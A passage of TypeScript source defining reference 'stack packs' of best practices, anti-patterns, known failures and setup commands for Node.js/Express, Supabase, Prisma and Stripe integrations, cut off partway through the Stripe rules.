CORS policy: No 'Access-Control-Allow-Origin' header'\",\n cause: 'The server did not send the CORS headers the browser requires for a cross-origin request, or the preflight OPTIONS request was not handled.',\n fix: 'Configure the cors middleware with the exact allowed origin(s) and credentials setting, and ensure preflight (OPTIONS) requests are answered before auth middleware rejects them.',\n },\n {\n id: 'node.fail.eaddrinuse',\n signature: 'Error: listen EADDRINUSE: address already in use :::PORT',\n cause: 'Another process (often a previous, un-exited dev instance) already holds the port the server is trying to bind.',\n fix: 'Free or change the port (make it configurable via env), and add a graceful-shutdown handler so restarts release the socket instead of leaving a zombie listener.',\n },\n {\n id: 'node.fail.express4-async-throw',\n signature: 'An error thrown in an async Express route hangs the request / never reaches error middleware',\n cause: 'On Express 4 a rejected promise from an async handler is not forwarded automatically; the request stalls until it times out.',\n fix: 'Upgrade to Express 5 (async errors auto-forward) or wrap Express 4 async handlers so rejections call next(err) and reach the error middleware.',\n },\n {\n id: 'node.fail.env-undefined-crash',\n signature: 'Runtime TypeError reading a property of undefined that traces back to a missing process.env value',\n cause: 'A required environment variable was undefined and used without validation, surfacing as a confusing crash deep inside a request instead of at boot.',\n fix: 'Validate all env vars against a schema at startup and exit with a clear message when one is missing, so misconfiguration fails fast and visibly.',\n },\n];\n\n/**\n * The Node.js backend reference pack. Matches a node service or an Express\n * detected stack.\n */\nexport const nodePack: StackPack = {\n id: 'node',\n name: 'Node.js backend (Express 5)',\n matches: (stack) => NODE_FRAMEWORKS.includes(stack.framework),\n bestPractices,\n antiPatterns,\n recommendedLibraries: [\n 'express@^5',\n 'zod@^3',\n 'helmet@^8',\n 'cors@^2',\n 'express-rate-limit@^7',\n 'pino@^9',\n 'pino-http@^10',\n 'jsonwebtoken@^9',\n 'typescript@^5',\n 'tsx@^4',\n 'vitest@^2',\n 'supertest@^7',\n ],\n versionChecks,\n setupCommands: [\n 'pnpm add express zod helmet cors express-rate-limit pino pino-http',\n 'pnpm add -D typescript @types/node @types/express tsx',\n 'pnpm add -D vitest supertest @types/supertest',\n 'pnpm exec tsc --init',\n ],\n testCommands: [\n 'pnpm exec tsc --noEmit',\n 'pnpm exec eslint .',\n 'pnpm exec vitest run',\n 'node --test',\n ],\n qualityGates: [\n 'Typecheck passes under strict TS and ESLint enforces no-floating-promises.',\n 'Configuration and secrets are validated against a schema at startup; a missing var fails the boot, not a request.',\n 'A single centralised (err, req, res, next) error handler sits at the end of the chain and returns safe, non-leaking errors.',\n 'Every request input (body/query/params) is validated at the boundary before use.',\n 'helmet, an explicit CORS allowlist, and rate limiting are applied; no secrets are hard-coded.',\n 'The service handles SIGTERM gracefully (drains requests, closes pools).',\n 'Integration tests hit routes via supertest and cover auth + error paths.',\n ],\n securityNotes: [\n 'Read every secret (DB URL, JWT secret, API keys) from the environment or a secret manager and validate at startup — never commit them; rotate anything that reaches the repo.',\n 'Validate and sanitise all request input at the boundary; use parameterised queries for SQL and never build shell commands from user input.',\n 'Verify JWTs with an explicitly pinned algorithm (e.g. algorithms: [\"RS256\"]) — accepting multiple algorithms or leaving it unspecified enables algorithm-confusion attacks.',\n 'Apply helmet for secure headers, restrict CORS to an explicit origin allowlist for credentialed requests, and rate-limit authentication and public endpoints.',\n 'Return generic error responses; log stack traces server-side only, and redact tokens/passwords/PII from structured logs.',\n 'Set timeouts on outbound calls so a slow dependency cannot exhaust the connection pool and take the service down.',\n ],\n deploymentNotes: [\n 'Run as an active-LTS Node image (22/24), non-root, with a /health (and readiness) endpoint for the orchestrator.',\n 'Inject secrets at runtime from the platform secret store; do not bake .env into the image.',\n 'Honour SIGTERM for zero-downtime rollouts: stop accepting connections, drain in-flight requests within the shutdown grace period, then close pools.',\n 'Size the DB connection pool to the number of replicas × per-instance pool so the total stays under the database\\'s max_connections; front Postgres with a pooler if running many instances.',\n 'Ship structured logs to the platform log aggregator and expose metrics (e.g. prom-client) for latency/error-rate SLOs.',\n ],\n commonFailures,\n};\n","/**\n * Supabase reference stack pack.\n *\n * Real, current (2026) guidance for Supabase (Postgres + Auth + Storage + Edge\n * Functions): Row Level Security on every exposed table, server-side identity via\n * auth.getUser() (not getSession()), the service_role key as a server-only,\n * RLS-bypassing secret, the @supabase/ssr cookie pattern for SSR frameworks,\n * migration-as-code via the CLI, storage policies, and generated types. Applies\n * to JS/TS apps (Next.js, React, Vite, Node, Express) or a \"supabase\" hint.\n */\n\nimport type { KnownFailure, Rule, StackPack, VersionCheck } from '../domain/index';\n\n// Supabase is consumed by JS/TS web and server apps. Match those frameworks\n// when the language is JS/TS, or an explicit \"supabase\" deployment-target hint.\nconst SUPABASE_FRAMEWORKS = ['nextjs', 'react', 'vite', 'node', 'express'];\nconst JS_LANGUAGES = ['typescript', 'javascript'];\n\nconst bestPractices: Rule[] = [\n {\n id: 'supabase.rls-on-every-table',\n title: 'Enable Row Level Security on every table the anon/authenticated key can reach',\n detail:\n 'The anon and authenticated API keys are public and reach Postgres directly through PostgREST. RLS policies are the authorization boundary: enable RLS on every exposed table and write explicit policies (typically scoping rows to auth.uid()). A table with RLS off is fully readable/writable by anyone with the anon key.',\n severity: 'critical',\n appliesTo: ['migration', 'schema', 'auth'],\n },\n {\n id: 'supabase.getuser-server',\n title: 'Authenticate on the server with auth.getUser(), not getSession()',\n detail:\n 'auth.getUser() revalidates the JWT against the Supabase Auth server and returns a trustworthy user; getSession() only decodes the cookie locally without verifying it. Gate every server-side authorization decision on getUser() (or getClaims()); reserve getSession() for non-security reads.',\n severity: 'critical',\n appliesTo: ['auth', 'middleware', 'api'],\n },\n {\n id: 'supabase.service-role-server-only',\n title: 'Keep the service_role key server-only — it bypasses RLS',\n detail:\n 'The service_role key ignores Row Level Security and has full database access. Use it only in trusted server code (Route Handlers, server actions, backend jobs), read it from an unprefixed env var, and never expose it to the browser or a client bundle. Anything it does is unauthenticated by RLS, so guard those code paths yourself.',\n severity: 'critical',\n appliesTo: ['service', 'env', 'config'],\n },\n {\n id: 'supabase.ssr-cookie-client',\n title: 'Use @supabase/ssr with getAll/setAll for SSR frameworks',\n detail:\n 'For Next.js/SSR create the per-request server client with createServerClient from @supabase/ssr, supplying getAll and setAll cookie handlers, and call getUser() in middleware to refresh tokens. Without setAll writing the refreshed tokens back, sessions silently expire and users are logged out at random.',\n severity: 'high',\n appliesTo: ['middleware', 'auth'],\n },\n {\n id: 'supabase.anon-key-is-public',\n title: 'Treat the anon key as public and rely on RLS, not on hiding it',\n detail:\n 'The anon key is meant to ship to the browser; it is not a secret and cannot be \"protected\". Security comes entirely from RLS policies plus verified auth, so never assume client code or a hidden key restricts access — the database policies must.',\n severity: 'high',\n appliesTo: ['auth', 'config'],\n },\n {\n id: 'supabase.migrations-as-code',\n title: 'Manage schema and policies with CLI migrations, not dashboard clicks',\n detail:\n 'Use `supabase migration new` / `supabase db push` (or link + migrate) so schema, RLS policies, and functions live in version control and deploy reproducibly across environments. Ad-hoc dashboard edits drift from the repo and cannot be reviewed or rolled back.',\n severity: 'medium',\n appliesTo: ['migration', 'schema'],\n },\n {\n id: 'supabase.storage-policies',\n title: 'Write access policies for Storage buckets too',\n detail:\n 'Supabase Storage is backed by Postgres and governed by RLS-style policies on storage.objects. A \"public\" bucket is world-readable; for private files write policies that scope objects to the owning user and keep buckets private by default.',\n severity: 'high',\n appliesTo: ['auth', 'schema'],\n },\n {\n id: 'supabase.generate-types',\n title: 'Generate TypeScript types from the database schema',\n detail:\n 'Run `supabase gen types typescript` and parameterise the client (createClient<Database>) so query results are typed against the live schema. Regenerate the types in CI when migrations change so the app and the database cannot silently drift.',\n severity: 'low',\n appliesTo: ['schema', 'config'],\n },\n];\n\nconst antiPatterns: Rule[] = [\n {\n id: 'supabase.anti.service-role-in-client',\n title: 'Shipping the service_role key to the browser',\n detail:\n 'Putting service_role behind NEXT_PUBLIC_/VITE_ or using it in client code exposes an RLS-bypassing, full-access database key to every visitor — a total data breach. Use only the anon key on the client; keep service_role in server env and rotate it immediately if leaked.',\n severity: 'critical',\n appliesTo: ['env', 'service'],\n },\n {\n id: 'supabase.anti.rls-disabled',\n title: 'Leaving RLS disabled on an exposed table',\n detail:\n 'A table reachable by the anon key with RLS off is open to anyone: full read and, depending on grants, write. \"We check it in the UI\" is not protection because the REST/GraphQL endpoint is directly callable. Enable RLS and add policies before shipping.',\n severity: 'critical',\n appliesTo: ['migration', 'schema'],\n },\n {\n id: 'supabase.anti.getsession-authz',\n title: 'Authorizing server actions on auth.getSession()',\n detail:\n 'getSession() returns the decoded cookie without verifying it against the Auth server, so a forged/expired token can pass. Any server-side access decision built on getSession() is bypassable; use getUser().',\n severity: 'high',\n appliesTo: ['auth', 'middleware'],\n },\n {\n id: 'supabase.anti.client-authz-only',\n title: 'Relying on client-side checks instead of RLS',\n detail:\n 'Hiding a button or filtering rows in the client does nothing at the API layer — the anon key can query the table directly. Enforce every access rule in RLS policies; client checks are UX only.',\n severity: 'high',\n appliesTo: ['auth', 'component'],\n },\n {\n id: 'supabase.anti.trust-client-user-id',\n title: 'Filtering by a client-supplied user_id instead of auth.uid()',\n detail:\n 'Passing user_id from the client and using it in a query (or policy) lets a caller substitute someone else\\'s id (IDOR). Derive the identity from the verified token — auth.uid() inside policies, getUser() in server code — never from request data.',\n severity: 'critical',\n appliesTo: ['auth', 'api', 'service'],\n },\n];\n\nconst versionChecks: VersionCheck[] = [\n {\n pkg: '@supabase/supabase-js',\n supported: '^2',\n note: 'supabase-js v2 is the current client (auth v2, .from().select() query builder). Parameterise it with your generated Database type for end-to-end typing.',\n },\n {\n pkg: '@supabase/ssr',\n supported: '^0.6',\n note: 'Use @supabase/ssr (the auth-helpers packages are deprecated) for server clients in SSR frameworks. createServerClient needs getAll, plus setAll in middleware so token refreshes persist.',\n },\n {\n pkg: 'supabase',\n supported: 'latest',\n note: 'The Supabase CLI manages local dev, migrations, and type generation. Keep it current so `db push`, `migration`, and `gen types` match the platform schema features.',\n },\n];\n\nconst commonFailures: KnownFailure[] = [\n {\n id: 'supabase.fail.rls-empty-result',\n signature: 'A query returns an empty array (or \"new row violates row-level security policy\") even though rows exist',\n cause: 'RLS is enabled but no policy grants the current role access (or the insert/update lacks a matching WITH CHECK policy), so PostgREST returns nothing / rejects the write.',\n fix: 'Add explicit SELECT/INSERT/UPDATE/DELETE policies scoped to auth.uid(); test with the anon and authenticated roles, and confirm the user is actually authenticated in the request.',\n },\n {\n id: 'supabase.fail.getsession-insecure-warning',\n signature:\n 'Console warning: \"Using the user object as returned from supabase.auth.getSession() ... could be insecure\"',\n cause: 'Server code read identity from getSession(), which does not verify the JWT against the Auth server.',\n fix: 'Switch to `const { data: { user } } = await supabase.auth.getUser()` for any authorization decision; getUser() revalidates the token.',\n },\n {\n id: 'supabase.fail.service-role-leaked',\n signature: 'The service_role key appears in the browser Network tab or the client bundle',\n cause: 'The service_role key was prefixed with NEXT_PUBLIC_/VITE_ or referenced in client code, so it was inlined into the client bundle.',\n fix: 'Remove it from all client code and public env, use only the anon key on the client, rotate the service_role key immediately, and restrict it to server-only modules.',\n },\n {\n id: 'supabase.fail.ssr-random-logout',\n signature: 'Users are intermittently logged out / \"Auth session missing!\" after navigation in an SSR app',\n cause: 'The @supabase/ssr middleware client was created without a setAll cookie handler (or the mutated response was not returned), so refreshed tokens were never written back.',\n fix: 'Create the server client with getAll and setAll, call getUser() in middleware to trigger the refresh, and return the response whose cookies setAll updated.',\n },\n {\n id: 'supabase.fail.migration-drift',\n signature: 'Local/CI schema disagrees with production, or `supabase db diff` reports unexpected drift',\n cause: 'Schema or RLS policies were changed directly in the dashboard/SQL editor without a corresponding migration in the repo.',\n fix: 'Capture the change as a migration (supabase db diff / migration new), commit it, and apply migrations through the CLI so all environments converge on the same versioned schema.',\n },\n];\n\n/**\n * The Supabase reference pack. Matches a JS/TS web-or-server framework, or an\n * explicit \"supabase\" deployment-target hint.\n */\nexport const supabasePack: StackPack = {\n id: 'supabase',\n name: 'Supabase (Postgres + Auth + RLS)',\n matches: (stack) =>\n stack.deploymentTargets.includes('supabase') ||\n (JS_LANGUAGES.includes(stack.language) && SUPABASE_FRAMEWORKS.includes(stack.framework)),\n bestPractices,\n antiPatterns,\n recommendedLibraries: [\n '@supabase/supabase-js@^2',\n '@supabase/ssr@^0.6',\n 'supabase@latest',\n 'zod@^3',\n 'typescript@^5',\n ],\n versionChecks,\n setupCommands: [\n 'pnpm add @supabase/supabase-js @supabase/ssr',\n 'pnpm add -D supabase',\n 'pnpm exec supabase init',\n 'pnpm exec supabase migration new init_schema',\n 'pnpm exec supabase gen types typescript --local > src/lib/database.types.ts',\n ],\n testCommands: [\n 'pnpm exec tsc --noEmit',\n 'pnpm exec supabase db lint',\n 'pnpm exec vitest run',\n ],\n qualityGates: [\n 'Row Level Security is enabled on every table reachable by the anon/authenticated key, with explicit policies scoped to auth.uid().',\n 'All server-side authorization uses auth.getUser() (verified), never getSession().',\n 'The service_role key exists only in server env — it is absent from client code and any NEXT_PUBLIC_/VITE_ variable.',\n 'Storage buckets are private by default with object-level policies for any user-scoped files.',\n 'Schema and policies are defined as committed CLI migrations; no unversioned dashboard edits.',\n 'Generated Database types are current and the client is parameterised with them.',\n 'SSR clients use @supabase/ssr with getAll/setAll so sessions refresh without logout.',\n ],\n securityNotes: [\n 'RLS + verified auth is the entire authorization boundary — the anon key is public and PostgREST is directly callable, so a table without RLS is world-accessible.',\n 'The service_role key bypasses RLS and grants full database access; keep it strictly server-side, unprefixed, and rotate it the instant it is exposed.',\n 'Authorize on auth.getUser()/auth.uid() (verified identity), never on getSession() or a client-supplied user_id — the latter enables IDOR.',\n 'Apply policies to Storage (storage.objects) and to any RPC/Postgres function exposed via the API; a public bucket or SECURITY DEFINER function without checks leaks data.',\n 'Set auth redirect URLs and email confirmation appropriately, and keep the JWT secret / project keys out of the repo.',\n ],\n deploymentNotes: [\n 'Use a separate Supabase project (or branch) per environment so previews never mutate production data; give each its own keys.',\n 'Apply migrations through the CLI in the deploy pipeline (supabase db push / link + migrate) so schema and RLS ship with the code.',\n 'Store SUPABASE_URL and the anon key as regular env vars; store the service_role key as a protected server-only secret excluded from preview builds that may run untrusted PR code.',\n 'Regenerate and commit database types when migrations land so the deployed app types match the live schema.',\n 'For SSR, ensure responses that set Supabase auth cookies are not cached by a CDN so one user\\'s tokens are never served to another.',\n ],\n commonFailures,\n};\n","/**\n * Prisma ORM reference stack pack.\n *\n * Real, current (2026) guidance for Prisma ORM v6: migrate dev locally /\n * migrate deploy in production (never db push in prod), a single shared\n * PrismaClient instance (the Next.js dev-HMR / serverless connection-exhaustion\n * trap), pooled vs direct connection URLs, explicit select/include to avoid\n * over-fetching and N+1, $transaction for invariants, parameterised $queryRaw,\n * and generating the client in CI. Applies to JS/TS server frameworks\n * (Next.js, Node, Express) or a \"prisma\" hint.\n */\n\nimport type { KnownFailure, Rule, StackPack, VersionCheck } from '../domain/index';\n\n// Prisma is a Node/TS server-side ORM. Match server-capable JS/TS frameworks,\n// or an explicit \"prisma\" hint.\nconst PRISMA_FRAMEWORKS = ['nextjs', 'node', 'express'];\nconst JS_LANGUAGES = ['typescript', 'javascript'];\n\nconst bestPractices: Rule[] = [\n {\n id: 'prisma.migrate-deploy-in-prod',\n title: 'Use migrate dev locally and migrate deploy in CI/production',\n detail:\n '`prisma migrate dev` authors and applies migrations against your dev database; `prisma migrate deploy` applies the already-committed migration files non-interactively in CI/production. This keeps a reviewable, ordered migration history and never prompts or resets in prod.',\n severity: 'high',\n appliesTo: ['migration', 'schema'],\n },\n {\n id: 'prisma.single-client-instance',\n title: 'Instantiate exactly one PrismaClient and share it',\n detail:\n 'Create PrismaClient once and export the singleton. In Next.js dev, stash it on globalThis so hot-module-reload does not spawn a new client (and a new pool) on every reload; in long-running services instantiate it at module scope. Each client holds its own connection pool, so many clients exhaust the database.',\n severity: 'high',\n appliesTo: ['service', 'lib', 'config'],\n },\n {\n id: 'prisma.pooled-and-direct-urls',\n title: 'Use a pooled URL for the app and a direct URL for migrations',\n detail:\n 'In serverless/edge, route queries through a connection pooler (PgBouncer / Prisma Accelerate) via DATABASE_URL, and set directUrl to a direct connection for `migrate`/`db` commands (which need a session, not a transaction-mode pooler). Direct connections from many serverless instances otherwise blow past Postgres max_connections.',\n severity: 'high',\n appliesTo: ['config', 'env'],\n },\n {\n id: 'prisma.explicit-select',\n title: 'Select only the fields you need',\n detail:\n 'Use select (or a narrow include) to fetch exactly the columns/relations required rather than returning whole rows and every relation. Explicit selection reduces payload, avoids accidentally leaking sensitive columns (password hashes, tokens), and keeps queries fast.',\n severity: 'medium',\n appliesTo: ['service'],\n },\n {\n id: 'prisma.avoid-n-plus-1',\n title: 'Batch related reads with include/nested queries, not per-row loops',\n detail:\n 'Fetching a list and then querying each item\\'s relation in a loop issues N+1 queries. Use include / nested select to load relations in one round trip, or findMany with a where...in, and rely on Prisma\\'s automatic query batching where applicable.',\n severity: 'medium',\n appliesTo: ['service'],\n },\n {\n id: 'prisma.transactions-for-invariants',\n title: 'Wrap multi-write invariants in a transaction',\n detail:\n 'When several writes must all succeed or all fail (e.g. debit + credit, create + audit), use prisma.$transaction (array or interactive callback form) so a partial failure rolls back. Interactive transactions also let you enforce read-then-write consistency.',\n severity: 'medium',\n appliesTo: ['service'],\n },\n {\n id: 'prisma.parameterised-raw',\n title: 'Use tagged-template $queryRaw for any raw SQL — never $queryRawUnsafe with input',\n detail:\n 'Prefer the query builder; when raw SQL is unavoidable use the tagged-template prisma.$queryRaw`... ${value}` form, which parameterises interpolations. Reserve $queryRawUnsafe for fully static SQL and never concatenate user input into it — that is a SQL-injection hole.',\n severity: 'high',\n appliesTo: ['service'],\n },\n {\n id: 'prisma.generate-in-build',\n title: 'Run prisma generate as part of install/build',\n detail:\n 'The typed Prisma Client is code-generated from schema.prisma, so add prisma generate to a postinstall or build step. In CI and container builds this guarantees the client matches the current schema; a stale or missing generated client causes runtime initialization errors.',\n severity: 'medium',\n appliesTo: ['config'],\n },\n {\n id: 'prisma.never-edit-applied-migrations',\n title: 'Treat applied migrations as immutable; add new ones to change schema',\n detail:\n 'Once a migration has been applied to a shared/production database, editing its SQL causes drift and checksum failures. To change the schema, edit schema.prisma and generate a new migration; only unapplied local migrations are safe to rewrite.',\n severity: 'high',\n appliesTo: ['migration'],\n },\n];\n\nconst antiPatterns: Rule[] = [\n {\n id: 'prisma.anti.client-per-request',\n title: 'Constructing new PrismaClient() per request or per module',\n detail:\n 'A new client on each request (or a new one created on every Next.js HMR reload) opens a fresh connection pool each time, quickly exhausting the database\\'s connection limit. Instantiate once and reuse the singleton.',\n severity: 'high',\n appliesTo: ['service', 'lib'],\n },\n {\n id: 'prisma.anti.db-push-in-prod',\n title: 'Running prisma db push against production',\n detail:\n 'db push force-syncs the schema with no migration history and can drop columns/data to make the database match. It is a prototyping tool; in production use migrate deploy so changes are ordered, reviewed, and reversible.',\n severity: 'critical',\n appliesTo: ['migration'],\n },\n {\n id: 'prisma.anti.raw-unsafe-with-input',\n title: 'Interpolating user input into $queryRawUnsafe / $executeRawUnsafe',\n detail:\n '$queryRawUnsafe(`... WHERE name = \\'${input}\\'`) concatenates input directly into SQL — a classic injection vector. Use the tagged-template $queryRaw (parameterised) or the query builder, and keep Unsafe variants for static SQL only.',\n severity: 'critical',\n appliesTo: ['service'],\n },\n {\n id: 'prisma.anti.n-plus-1-loop',\n title: 'Querying relations inside a loop (N+1)',\n detail:\n 'for (const u of users) { await prisma.post.findMany({ where: { userId: u.id } }) } fires one query per user. Load the relation with include on the initial findMany, or a single findMany with where userId in [...], to collapse it to one or two queries.',\n severity: 'medium',\n appliesTo: ['service'],\n },\n {\n id: 'prisma.anti.direct-conn-serverless',\n title: 'Direct database connections from serverless functions',\n detail:\n 'Each serverless invocation with a direct connection opens (and slowly releases) a Postgres connection; under concurrency this exceeds max_connections and requests fail. Route app traffic through a pooler and keep the direct URL only for migrations.',\n severity: 'high',\n appliesTo: ['config', 'service'],\n },\n {\n id: 'prisma.anti.edit-applied-migration',\n title: 'Editing a migration that has already been applied',\n detail:\n 'Changing the SQL of an applied migration makes its checksum mismatch the recorded one, so Prisma reports drift and can refuse to proceed. Never rewrite history; add a new migration for the change.',\n severity: 'high',\n appliesTo: ['migration'],\n },\n];\n\nconst versionChecks: VersionCheck[] = [\n {\n pkg: 'prisma',\n supported: '^6',\n note: 'Prisma ORM v6 (CLI). Requires a current Node (18.18+/20+). Review the v6 upgrade notes for the generated-client output location and driver-adapter changes before bumping.',\n },\n {\n pkg: '@prisma/client',\n supported: '^6',\n note: 'Keep @prisma/client in lockstep with the prisma CLI major; a client/CLI skew produces generation and runtime mismatches.',\n },\n {\n pkg: 'typescript',\n supported: '^5',\n note: 'TypeScript 5.x consumes the generated types; run prisma generate before typechecking so the client types exist.',\n },\n {\n pkg: 'pg',\n supported: '^8',\n note: 'When using the Postgres driver adapter (or a pooler like PgBouncer) the pg driver 8.x is the common baseline; align it with your pooling setup.',\n },\n];\n\nconst commonFailures: KnownFailure[] = [\n {\n id: 'prisma.fail.too-many-connections',\n signature:\n '\"Too many connections\" (Postgres 53300) or \"Timed out fetching a new connection from the connection pool\", typically in serverless',\n cause: 'Many client instances / direct serverless connections opened more pools than the database allows, or the pool size is too large for the replica count.',\n fix: 'Use a single PrismaClient singleton, route queries through a pooler (PgBouncer/Accelerate) with DATABASE_URL, keep directUrl only for migrations, and size the pool so replicas × pool ≤ max_connections.',\n },\n {\n id: 'prisma.fail.hmr-many-instances',\n signature: 'Next.js dev warning: \"There are already 10 instances of Prisma Client actively running\"',\n cause: 'Hot-module-reload re-ran the module that does new PrismaClient(), creating a new client (and pool) on each reload.',\n fix: 'Cache the client on globalThis in development (const prisma = globalThis.prisma ?? new PrismaClient(); if (dev) globalThis.prisma = prisma) so HMR reuses one instance.',\n },\n {\n id: 'prisma.fail.migrate-drift',\n signature: '\"Drift detected: Your database schema is not in sync with your migration history\" / migration checksum mismatch',\n cause: 'The database was changed outside migrations (manual SQL/db push) or an already-applied migration file was edited.',\n fix: 'Reconcile by generating a new migration from the current schema (or migrate resolve for a known state); never edit applied migrations, and stop using db push on a migrated database.',\n },\n {\n id: 'prisma.fail.client-not-generated',\n signature: '\"@prisma/client did not initialize yet. Please run \\'prisma generate\\'\"',\n cause: 'The generated client is missing or stale — prisma generate did not run after install or after a schema change.',\n fix: 'Add prisma generate to a postinstall/build script and re-run it; ensure the build environment regenerates the client from the current schema.prisma.',\n },\n {\n id: 'prisma.fail.p1001-unreachable',\n signature: \"Error P1001: Can't reach database server at ...\",\n cause: 'DATABASE_URL is wrong/unreachable, the pooler is down, SSL/sslmode is misconfigured, or a firewall/network rule blocks the connection.',\n fix: 'Verify the connection string (host, port, sslmode), that the pooler/database is reachable from the runtime, and that migrations use directUrl where a session connection is required.',\n },\n {\n id: 'prisma.fail.shadow-db-permission',\n signature: 'migrate dev fails: shadow database could not be created / insufficient privileges',\n cause: 'prisma migrate dev creates a temporary shadow database to detect drift, but the connection role lacks CREATE DATABASE (common on hosted Postgres).',\n fix: 'Grant the dev role permission, or configure a dedicated shadowDatabaseUrl pointing at a database the role can use; production (migrate deploy) does not need a shadow database.',\n },\n];\n\n/**\n * The Prisma ORM reference pack. Matches a server-capable JS/TS framework\n * (Next.js / Node / Express) or an explicit \"prisma\" deployment-target hint.\n */\nexport const prismaPack: StackPack = {\n id: 'prisma',\n name: 'Prisma ORM v6 (Postgres)',\n matches: (stack) =>\n stack.deploymentTargets.includes('prisma') ||\n (JS_LANGUAGES.includes(stack.language) && PRISMA_FRAMEWORKS.includes(stack.framework)),\n bestPractices,\n antiPatterns,\n recommendedLibraries: [\n 'prisma@^6',\n '@prisma/client@^6',\n 'typescript@^5',\n 'zod@^3',\n 'pg@^8',\n 'vitest@^2',\n ],\n versionChecks,\n setupCommands: [\n 'pnpm add @prisma/client',\n 'pnpm add -D prisma',\n 'pnpm exec prisma init --datasource-provider postgresql',\n 'pnpm exec prisma migrate dev --name init',\n 'pnpm exec prisma generate',\n ],\n testCommands: [\n 'pnpm exec tsc --noEmit',\n 'pnpm exec prisma validate',\n 'pnpm exec prisma migrate status',\n 'pnpm exec vitest run',\n ],\n qualityGates: [\n 'Schema changes ship as committed migration files; production applies them with `prisma migrate deploy` (never db push).',\n 'Exactly one PrismaClient instance is shared (globalThis singleton in Next dev); no per-request construction.',\n 'The app connects through a pooler in serverless (DATABASE_URL) with a separate directUrl for migrations.',\n 'Queries use explicit select/include (no accidental over-fetch of sensitive columns) and avoid N+1 loops.',\n 'Multi-write invariants run inside $transaction; raw SQL uses the parameterised tagged-template $queryRaw.',\n '`prisma generate` runs in install/build, `prisma validate` passes, and `prisma migrate status` shows no drift.',\n ],\n securityNotes: [\n 'Never interpolate user input into $queryRawUnsafe/$executeRawUnsafe — use the parameterised tagged-template $queryRaw or the query builder to prevent SQL injection.',\n 'Use explicit select so queries cannot accidentally return sensitive columns (password hashes, tokens, secrets) to callers.',\n 'Keep DATABASE_URL/DIRECT_URL and any pooler credentials in server-only secrets; they are full database access and must never reach a client bundle.',\n 'Prisma does not enforce row-level authorization — scope every query by the authenticated user in application code (or pair with database RLS); the ORM will happily return another tenant\\'s rows if you ask.',\n 'Run migrations with a least-privilege role, and review generated SQL (especially destructive column drops) before applying to production.',\n ],\n deploymentNotes: [\n 'Run `prisma migrate deploy` as a dedicated release step before the new app version serves traffic; it applies committed migrations non-interactively.',\n 'Set DATABASE_URL to the pooled connection and DIRECT_URL to a direct connection so the app pools while migrations get a session connection.',\n 'Run `prisma generate` during the container/CI build so the generated client is present and matches the schema at runtime.',\n 'Size connection pools to replica count × per-instance pool under the database max_connections; prefer a pooler (PgBouncer/Accelerate) for serverless and high fan-out.',\n 'Make migrations forward-compatible for zero-downtime deploys (expand-then-contract: add columns before the old code stops writing, drop only after it is gone).',\n ],\n commonFailures,\n};\n","/**\n * Stripe (payments) reference stack pack.\n *\n * Real, current (2026) guidance for integrating Stripe with a Node/TypeScript\n * backend using the Stripe Node SDK 19.x. The whole pack is organised around the\n * two failure modes that cost real money: webhook signature verification against\n * the RAW request body, and idempotency (both the Stripe-Idempotency-Key on\n * mutating API calls and deduping inbound webhook events on event.id, because\n * Stripe delivers at-least-once). It also encodes the server-only secret-key\n * rule, fulfilling on the verified webhook rather than the client redirect, and\n * pinning the API version so an SDK upgrade never silently reshapes payloads.\n */\n\nimport type { KnownFailure, Rule, StackPack, VersionCheck } from '../domain/index';\n\n// Stripe is a payments library, not a framework — it can back a JS/TS server on\n// any of these frameworks. A `stripe` deployment-target hint force-matches it.\nconst STRIPE_FRAMEWORKS = ['nextjs', 'react', 'vite', 'node', 'express'];\nconst JS_LANGUAGES = ['typescript', 'javascript'];\n\nconst bestPractices: Rule[] = [\n {\n id: 'stripe.webhook-raw-body-signature',\n title: 'Verify every webhook against the RAW body with webhooks.constructEvent',\n detail:\n 'Read the unparsed request body (Buffer/string) and call stripe.webhooks.constructEvent(rawBody, stripe-signature header, STRIPE_WEBHOOK_SECRET). This proves the event came from Stripe and was not tampered with. Only act on the event after verification succeeds; respond HTTP 400 when it throws.',\n severity: 'critical',\n appliesTo: ['billing', 'api', 'service'],\n },\n {\n id: 'stripe.webhook-idempotent-dedupe',\n title: 'Dedupe inbound webhooks on event.id before doing any work',\n detail:\n 'Stripe delivers events at-least-once and retries on any non-2xx or timeout, so the same event.id can arrive many times. Record processed event ids (a unique DB column or Redis SET NX) and short-circuit duplicates so fulfilment, provisioning, and emails happen exactly once.',\n severity: 'critical',\n appliesTo: ['billing', 'service'],\n },\n {\n id: 'stripe.idempotency-key-on-writes',\n title: 'Send a Stripe-Idempotency-Key on every state-mutating API call',\n detail:\n 'Pass { idempotencyKey } (derived from your own operation id, e.g. an order id) when creating PaymentIntents, Checkout Sessions, subscriptions, or refunds. A network retry then returns the original result instead of charging the customer twice.',\n severity: 'high',\n appliesTo: ['billing', 'service', 'api'],\n },\n {\n id: 'stripe.secret-key-server-only',\n title: 'Initialise the Stripe secret client only in server code',\n detail:\n 'new Stripe(STRIPE_SECRET_KEY) belongs in a server module. The browser uses @stripe/stripe-js with the publishable key. A leaked secret key grants full account access, so keep it out of any client bundle and out of NEXT_PUBLIC_/VITE_ env vars.',\n severity: 'critical',\n appliesTo: ['billing', 'service', 'config'],\n },\n {\n id: 'stripe.pin-api-version',\n title: 'Pin the API version in the Stripe constructor',\n detail:\n 'Pass { apiVersion: \"2025-...\" } so an SDK bump does not silently change request/response and webhook payload shapes. Upgrade the pinned version deliberately, reading the changelog and testing webhook handlers against the new shape first.',\n severity: 'medium',\n appliesTo: ['billing', 'config'],\n },\n {\n id: 'stripe.fulfil-on-webhook-not-redirect',\n title: 'Fulfil the order from the verified webhook, not the success redirect',\n detail:\n 'The browser can drop the checkout success redirect (closed tab, flaky network) while the payment still succeeds. Treat checkout.session.completed / payment_intent.succeeded (and, for delayed methods, the *.async_payment_* events) as the source of truth for granting access, and use the redirect only for UX.',\n severity: 'high',\n appliesTo: ['billing', 'service'],\n },\n {\n id: 'stripe.server-side-pricing',\n title: 'Price from server-side Prices/Products, never a client-supplied amount',\n detail:\n 'Build Checkout Sessions and PaymentIntents from Price/Product ids (or amounts computed on the server) so a tampered client cannot pay $0.01 for a $100 item. The client sends only identifiers (a price id or cart), and the server resolves the real amount.',\n severity: 'critical',\n appliesTo: ['billing', 'api', 'service'],\n },\n {\n id: 'stripe.ack-fast-defer-work',\n title: 'Acknowledge the webhook quickly and offload heavy work',\n detail:\n 'Stripe expects a 2xx within its delivery timeout; slow handlers get marked failed and retried, causing duplicate deliveries. Verify, persist the event, return 200 immediately, and process expensive fulfilment on a queue/background task keyed by event.id.',\n severity: 'high',\n appliesTo: ['billing', 'api', 'service'],\n },\n {\n id: 